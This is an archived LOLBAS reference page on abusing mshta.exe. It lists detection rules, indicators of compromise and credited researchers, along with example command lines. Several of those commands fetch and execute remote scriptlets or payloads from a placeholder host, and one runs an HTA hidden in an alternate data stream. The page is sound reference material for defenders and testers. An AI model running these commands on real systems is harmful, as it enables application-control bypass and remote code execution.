Mshta on LOLBAS

Archived: 2026-04-06 00:51:45 UTC

.. /Mshta.exe

Used by Windows to execute html applications. (.hta)

Paths:

- C:\Windows\System32\mshta.exe
- C:\Windows\SysWOW64\mshta.exe

Resources:

- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
- https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
- https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Acknowledgements:

- Casey Smith (@subtee)
- Oddvar Moe (@oddvarmoe)
- Nir Chako (Pentera) (@C_h4ck_0)

Detections:

- Sigma: proc_creation_win_mshta_susp_pattern.yml
- Sigma: proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml
- Sigma: proc_creation_win_mshta_lethalhta_technique.yml
- Sigma: proc_creation_win_mshta_javascript.yml
- Sigma: file_event_win_net_cli_artefact.yml
- Sigma: image_load_susp_script_dotnet_clr_dll_load.yml
- Elastic: defense_evasion_mshta_beacon.toml
- Elastic: lateral_movement_dcom_hta.toml
- Elastic: defense_evasion_suspicious_managedcode_host_process.toml
- Splunk: suspicious_mshta_activity.yml
- Splunk: detect_mshta_renamed.yml
- Splunk: suspicious_mshta_spawn.yml
- Splunk: suspicious_mshta_child_process.yml
- Splunk: detect_mshta_url_in_command_line.yml

- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: mshta.exe executing raw or obfuscated script within the command-line
- IOC: General usage of HTA file
- IOC: msthta.exe network connection to Internet/WWW resource
- IOC: DotNet CLR libraries loaded into mshta.exe
- IOC: DotNet CLR Usage Log - mshta.exe.log

Execute

1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

   ```
   mshta.exe file.hta
   ```

   Use case

   Execute code

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218.005: Mshta

   Tags

   Execute: HTA

   Execute: Remote

2. Executes VBScript supplied as a command line argument.

   ```
   mshta.exe vbscript:Close(Execute("GetObject(""script:https://www.example.org/file.sct"")"))
   ```

   Use case

   Execute code

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218.005: Mshta

   Tags

Execute: VBScript

3. Executes JavaScript supplied as a command line argument.

```
mshta.exe javascript:a=GetObject("script:https://www.example.org/file.sct").Exec();close();
```

Use case

Execute code

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.005: Mshta

Tags

Execute: JScript

Alternate data streams

1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

```
mshta.exe "C:\Windows\Temp\file.ext:file.hta"
```

Use case

Execute code hidden in alternate data stream

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)

ATT&CK® technique

T1218.005: Mshta

Tags

Execute: HTA

Download

1. It will download a remote payload and place it in INetCache.

```
mshta.exe https://www.example.org/file.ext
```

Use case

Downloads payload from remote server

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1105: Ingress Tool Transfer

Tags

Download: INetCache
